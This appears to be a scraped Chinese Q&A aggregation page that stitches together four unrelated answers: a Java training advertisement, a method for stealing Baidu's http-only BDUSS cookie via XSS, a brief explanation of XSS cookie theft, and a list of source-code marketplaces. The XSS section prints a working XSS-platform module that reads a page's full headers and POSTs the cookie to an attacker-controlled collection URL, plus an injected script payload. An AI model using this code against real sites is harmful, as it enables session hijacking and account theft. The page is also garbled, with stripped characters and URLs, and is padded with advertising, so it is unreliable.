目录介绍：

• 1、求一套java开发PC端直播平台网站的源码
• 2、如何通过 XSS 获取受 http-only さcookie
• 3、如何使用xss平台盗取cookie
• 4、有哪些比较好的源码网站

求一套java开发PC端直播平台网站的源码

java开发PC端直播平台网站的源码涉及比较专业的领域，建议通过自己学习进行创建。学习java开发推荐千锋教育，该教育机构采用全程面授高品质、高体验培养模式，拥有国内一体化教学管理及学员服务，助力更多学员实现高薪梦想。

学习java开发有一个长远的职业规划，未来潜力无限。Java岗位需求量每年以22%左右的速度增长着，其中尤以Java程序员、Java工程师、Java架构师、技术总监最为缺乏。全国每年Java工程师的缺口高达50万+。掌握一门高含金量的技能，拥有一份不菲的高薪职业，是大多IT职场人士的正确打开方式。中级工程师月入高达12-18K，高级工程师则有机会突破30K;成为架构师和CTO更是年薪百万。

想要了解更多有关java的相关信息，推荐咨询千锋教育。千锋企合作部整合大量企业客户资源，紧抓当下企业需求，将技术和项目完美结合千锋课程体系，力求培养更多优质人才服务企业，不断提升学员竞争力，链接企业用人标准的培训课程及实战项目，让企业招聘用人的技术要求与千锋学员的技术充分对接。近年来不断引进阿里钉钉小程序技术、红帽认证、腾讯云、亚马逊等，通过与企业的深度融合实现千锋教研和就业服务的迭代升级，专业性值得信赖。

如何通过 XSS 获取受 http-only さcookie

该测试页返回了完整的http头，其中也包括了完整的cookie。混贴吧圈的应该都知道BDUSS是最关键的字段，同时该字段是受http-only保护的，百度SRC之前也因此下调了XSS的评分标准。

02.jpg

这样，我们只要利用XSS平台的"指定页面源码读取"模块即可通过XSS获取用户的完整cookie。该模块代码如下:

code 区域

var u = ';id={projectId}';

var cr;

if (document.charset) {

cr = document.charset

} else if (document.characterSet) {

cr = document.characterSet

};

function createXmlHttp() {

if (window.XMLHttpRequest) {

xmlHttp = new XMLHttpRequest()

} else {

var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');

for (var n = 0; n MSXML.length; n++) {

try {

xmlHttp = new ActiveXObject(MSXML[n]);

break

} catch(e) {}

}

}

}

createXmlHttp();

xmlHttp.onreadystatechange = writeSource;

xmlHttp.open("GET", "", true);

xmlHttp.send(null);

function postSource(cc) {

createXmlHttp();

url = u;

cc = "mycode=" + cc;

xmlHttp.open("POST", url, true);

xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

xmlHttp.setRequestHeader("Content-length", cc.length);

xmlHttp.setRequestHeader("Connection", "close");

xmlHttp.send(cc)

}

function writeSource() {

if (xmlHttp.readyState == 4) {

var c = new postSource(xmlHttp.responseText)

}

}

由于是用xmlHttpRequest的形式读源码，且 的 Access-Control-Allow-Origin 为空，即默认不允许跨域，所以我们必须在同域下才能用xmlHttpRequest获取到完整的cookie。

我在 中有提到， 可以自由构造XSS。我们向该页面写入如下代码:

code 区域

titlewooyun.org/title

p超威蓝猫@wooyun.org/p

script src=;/script

如何使用xss平台盗取cookie

截取的是你的网站的 xss真正的原理是将代码插入到某个网页里面，当浏览器访问这个网页的时候，就会执行你写的代码。如果这个代码具有获取cookies的功能，即可获得当前页面的cookies 然而不同的网站cookies是不同的，也是不允许互相访问的。

有哪些比较好的源码网站

源码平台有很多，而且有很多充会员可以免费使用全网站的源码，但是这种平台上基本都是网上搜索到的侵权源码，而且可能大部分源码都无法使用。这些源码可能前期我们使用没有问题，但是如果稍微发展起来就可能收到相关的维权声明。所以我们需要寻找一些更安全的源码平台，现在这种相应的平台也有一些，属于用户上传，平台担任中介，类似淘宝的源码平台，有平台作为中间商，安全性、代码可用性得到提高，代码不能使用也能够维权追回资金，而且还降低了我们使用到侵权源码的可能性。所以我在这推荐一些类似淘宝的C2C网站。

1、互站：互站网，互站网应该是这类网站里面建站时间较长的网站了，互站不仅提供源码交易，也提供站长交易，域名交易等其他相关的内容。同时也有相应的贴吧之类的，很容易了解到这个网站的信息。

2、七爪网：7claw源码交易平台，一个新兴的源码交易平台，内容相比互站还是少了一些，但是网站客服服务还不错，可以自己先去咨询一下。

3、源码码网：没使用过，不过很多内容好像都是他们自己上传的，可以尝试去看下有没有合适的。

除了上述的网站，其他的这种类型的网站就比较小了，可能会有各种各样的问题，当然如果发现一些不错的类似网站也可以互相交流，希望我的回答能够帮助到你。